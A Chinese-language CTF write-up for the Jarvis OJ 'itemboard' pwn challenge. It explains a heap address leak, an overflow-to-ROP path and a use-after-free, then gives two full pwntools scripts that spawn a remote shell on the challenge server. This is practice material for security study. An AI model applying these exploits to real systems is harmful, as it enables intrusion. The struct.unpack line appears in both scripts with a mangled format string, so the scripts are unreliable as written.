pwn jarvis itemboard writeup

这题真心坑。。。本地做出来了,但是连上服务器就不行,目测是堆地址中有一个\x00。。。。

这题有几个漏洞

第一个是,没有对new item 的大小做判断,可以越界直接rop
第二个是,delete_note的操作其实并没有用,只free掉了,但是array那里还存着地址,所以就可以uaf

其实这题单纯uaf都可以做出来的,但是rop也可以用上

来说下思路
1. 获取libc地址
首先new两个item,大小要在small bin范围内, 然后delete 掉第一个,这个时候就有一个指针指向main arean了,用show就可以泄漏出地址,但是这个只是main arean的地址,如果要libc基址的话,还要减去一个偏移,这个偏移可以用ida解析libc.so,然后看got段上面那个LOAD段,这里有个DT_PLTGOT,这里存的值就是偏移了

2.rop或者uaf
两个其实都是控制流劫持,我们先来说下rop的思路吧,先填充1024个,然后填一个length,再填一个地址,这里的地址可以用上面获取libc地址时拿到的地址-8,上面那个libc的地址指向的是main arean,main arean第一个地址指向的是堆的top chunk,所以填上这个地址之后实际上是往top chunk 那里strcpy,不过这里rop之后又不用管堆的东西了,所以无所谓,然后根据获取到的libc基址,直接rop来个system(‘/bin/sh’)

接着来说下uaf的思路,这里首先把获取libc地址那一步的另一个堆给free掉,然后再new 一个堆,这个堆的name就是第一个堆的位置,所以只要往这里塞/bin/sh,然后把free那个指针改成system就可以了

payload如下

rop:

from pwn import *
import struct

debug=0
context.log_level='debug'
context.arch='amd64'
ef=ELF('./itemboard')
if debug:
    p=process('./itemboard')
    gdb.attach(proc.pidof(p)[0])
    e=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    r=ROP(e)
    offset=0x399000
else:
    p=remote('pwn2.jarvisoj.com', 9887)
    e=ELF('./libc.so')
    r=ROP(e)
    offset=0x3be000

def add_item(name,length,desc):
    p.sendline('1')
    p.recvuntil('Item name?')
    p.sendline(name)
    p.recvuntil("Description's len?")
    p.sendline(str(length))
    p.recvuntil('Description?')
    p.send(desc)
    p.recvuntil('Add Item Successfully!')

def list_item():
    p.sendline('2')
    p.recvuntil('Item list')
    data=p.recvuntil('1.')[:-3]
    p.recvuntil('choose:')
    return data

def show_item(index):
    p.sendline('3')
    p.recvuntil('Which item?')
    p.sendline(str(index))
    data=p.recvuntil('1.')[:-3]
    p.recvuntil('choose:')
    return data

def delete_item(index):
    p.sendline('4')
    p.recvuntil("Which item?")
    p.sendline(str(index))

add_item('t',0x100,'\x0a')
add_item('t',0x100,'\x0a')
delete_item(0)
data=show_item(0)
d=data.index('ion:')+4
libc=data[d:d+6]+'\x00\x00'
libc=struct.unpack(',libc)[0]
t=libc
libc=libc-libc%0x1000-offset


binsh=libc+e.search('/bin/sh').next()
system=libc+e.symbols['system']

payload='a'*1024+p64(t-8)*3
payload+= p64(r.rdi[0]+libc)+p64(binsh)+p64(system)
raw_input()
add_item('t',len(payload),payload)

p.interactive()

uaf

from pwn import *
import struct

debug=0
context.log_level='debug'
context.arch='amd64'
ef=ELF('./itemboard')
if debug:
    p=process('./itemboard')
    gdb.attach(proc.pidof(p)[0])
    e=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    r=ROP(e)
    offset=0x399000
else:
    p=remote('pwn2.jarvisoj.com', 9887)
    e=ELF('./libc.so')
    r=ROP(e)
    offset=0x3be000

def add_item(name,length,desc):
    p.sendline('1')
    p.recvuntil('Item name?')
    p.sendline(name)
    p.recvuntil("Description's len?")
    p.sendline(str(length))
    p.recvuntil('Description?')
    p.send(desc)
    p.recvuntil('Add Item Successfully!')

def list_item():
    p.sendline('2')
    p.recvuntil('Item list')
    data=p.recvuntil('1.')[:-3]
    p.recvuntil('choose:')
    return data

def show_item(index):
    p.sendline('3')
    p.recvuntil('Which item?')
    p.sendline(str(index))
    data=p.recvuntil('1.')[:-3]
    p.recvuntil('choose:')
    return data

def delete_item(index):
    p.sendline('4')
    p.recvuntil("Which item?")
    p.sendline(str(index))

add_item('t',0x100,'\x0a')
add_item('t',0x100,'\x0a')
delete_item(0)
data=show_item(0)
d=data.index('ion:')+4
libc=data[d:d+6]+'\x00\x00'
libc=struct.unpack(',libc)[0]
t=libc
libc=libc-libc%0x1000-offset


binsh=libc+e.search('/bin/sh').next()
system=libc+e.symbols['system']

delete_item(1)

add_item('/bin/sh;EEEEEEEE'+p64(system),24,'\x0a')
delete_item(0)

p.interactive()

你可能感兴趣的:(pwn)